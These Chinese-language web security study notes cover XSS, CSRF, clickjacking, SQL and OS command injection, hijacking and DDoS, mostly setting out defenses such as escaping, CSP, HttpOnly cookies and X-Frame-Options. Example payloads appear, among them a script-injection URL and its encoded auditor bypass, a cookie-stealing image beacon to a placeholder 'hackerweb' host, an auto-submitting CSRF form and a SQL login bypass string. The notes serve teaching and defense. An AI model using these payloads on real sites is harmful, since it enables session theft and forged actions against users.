1. XSS 跨站脚本攻击 (Cross Site Scripting)
攻击方式
1. 反射型 - url参数注入
场景: 诱导已登陆用户点击有害链接(较明显)
链接内容:
1.注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
2.短域名伪造, 会重定向到有脚本注入的url https://dwz.cm
http://hackerweb/hack.js
会窃取用户登录态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登录态信息
2. 存储型 - 将script标签注入到数据库
场景:
在网站的评论里(任何能够保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行
危害
杀伤力较大, 相当于完全控制网站
- 获取cookie
document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登录态
- 发送请求 获取登录态 cookie
var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
- 获取页面数据
- 修改前端逻辑
- 窃取一切前端可达数据: 用户资料, 登录密码…
防御 (5种)
1. 转义字符 防止在不必要的地方渲染script标签
尖括号 <script>
转义为 <p>
不允许渲染不受信任的脚本 - 转义html标签 设置转义黑名单, 白名单:
// 黑名单
function escape(str) {str = str.replace(/&/g, '&');str = str.replace(/</g, '<');str = str.replace(/>/g, '>');str = str.replace(/"/g, '&quto;');str = str.replace(/'/g, ''');str = str.replace(/`/g, '`');str = str.replace(/\//g, '/');return str;
}
// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html);
2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection
// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告
测试:
攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
当网站发现在请求里面有脚本, 不会执行. 报错:
The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
!!!但是!!! 伪装一下就不行了! 以下url还是可以攻击成功:
http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E
3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP
内容安全策略Content-Security-Policy
ctx.set('Content-Security-Policy', "default-src 'self'") // 只允许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只允许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不允许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则
CSP指令:
- default-src:为其他取指令提供备用服务fetch directives.
- style-src: 限制层叠样式表文件源
- script-src: 限制JavaScript的源地址.
- connect-src:限制能通过脚本接口加载的URL.
- img-src: 限制图片和图标的源地址
- child-src: 为 web workers 和其他内嵌浏览器内容(例如用和加载到页面的内容)定义合法的源地址.
- frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址.
- worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
- 更多: developer.mozilla.org/zh-CN/docs/…
检测到不符合安全策略的内容, 报错:
Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".
4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly
预防cookie被窃取, 无法通过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防御手段!
// 设置Cookie时, 设置为HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
2. CSRF 跨站请求伪造 (Cross Site Request Forgery)
CSRF 利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作
攻击方式
场景:
- 用户已经登录了站点 A,并在本地记录了 cookie
- 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
- 站点 A 没有做任何 CSRF 防御
模拟发送请求(伪造请求), 因为普通用户已经登录, 模拟请求会带上登录态cookie, 从而可以操作(攻击)成功 不直接获取cookie, 利用浏览器行为, 利用登录态
document.write(`<form name="form" action="http://Aweb/updateText" method="post" target="csrf">添加评论: <input type="text" name="text" value="CSRF评论.." /></form>`)var iframe = document.createElement('iframe') // 静默加载iframe.name = 'csrf'iframe.style.display = 'none'document.body.appendChild(iframe)setTimeout(function() {document.querySelector('form').submit(); // 默默提交请求},1000)</script>
危害
- 利用用户登录态
- 用户不知情时攻击
- 完成业务请求
- 盗取用户资金(转账,消费)
- 冒充用户发帖背锅
- 损害网站声誉
防御
1. Referer Check
验证Header的 Referer字段 是本站地址才允许通过
缺点:仅对Http有效, Https不发送referer
2. 验证码
请求需要验证码辅助
缺点: 用户体验不好, 较麻烦
一般只用于关键请求中
3. Cookie值进行hash
攻击者在访问信任网站A时, 虽然浏览器可以在请求中带上cookie, 但网站A可以不仅仅通过cookie来验证用户身份, 同时还验证 给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数 不能利用浏览器机制自动加到cookie上, 需要在脚本里面加上, 从而让CSRF攻击者无法利用伪随机数, 也就无法通过验证 用于多数请求中
3. ClickJacking 点击劫持 (视觉欺骗)
攻击方式
既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操作
场景:
在攻击网站上嵌入 渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操作时实际上不知道自己在网站A做了什么, 从而达到欺骗用户的目的
危害
- 用户不知情时攻击, 执行了用户不希望的操作
防御
1. X-Frame-Options
ctx.set('X-Frame-Options', 'deny') //表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许.
ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面可以在相同域名页面的 frame 中展示.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面可以在指定来源的 frame 中展示. !!!(Chrome不支持 Firefox支持)
2. js自身通过frame的方式加载内容是破坏自身
是一种比较原始的解决方案
if(self !== top) { // 从frame加载self.document.body.style.display = 'NONE';// 隐藏或删除body的内容self.document.body.innerHTML = ''}
4. SQL注入
针对数据库的注入
攻击方式
场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真 密码输入 1’ or ‘1’ = ‘1’ 后台查询密码时返回 ‘1’ = '1’的结果, 为真
危害
- 虚假登录
- …
防御
1. 数据使用传参的方式, 不使用字符串拼接的方式
所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.
2. 数据校验
后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理
3. 严格的权限管理
严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的 减少注入攻击对数据库的危害
4. 特殊字符转义
对进入数据库的特殊字符(',",<,>,&,*,; 等)进行转义处理,或编码转换.基本上所有的后端 语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库.
5. OS命令注入
攻击方式
针对操作系统的注入 OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的. OS命令注入攻击指 通过Web应用,执行非法的操作系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘 若调用Shell时存在疏漏,就可以执行插入的非法命令.
场景:
system命令注入
危害
- 恶意删除文件
- 恶意下载执行程序
- …
防御
类似 SQL注入防御方法
6. 请求劫持 (DNS劫持 HTTP劫持)
DNS劫持
顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
HTTP劫持
运营商劫持 防御: 此时大概只能升级HTTPS了
7. DDOS (distributed denial of service)
不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各 个环节,都可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的
常见攻击方式
SYN Flood
此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手.目标机器 响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.
HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服 务.
防御
1. 备份网站
备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求.最低限度应该可以显示公告,告诉用户, 网站出了问题,正在全力抢修.
2. HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker
硬件 服务器 防火墙
3. 带宽扩容 + CDN
提高犯罪成本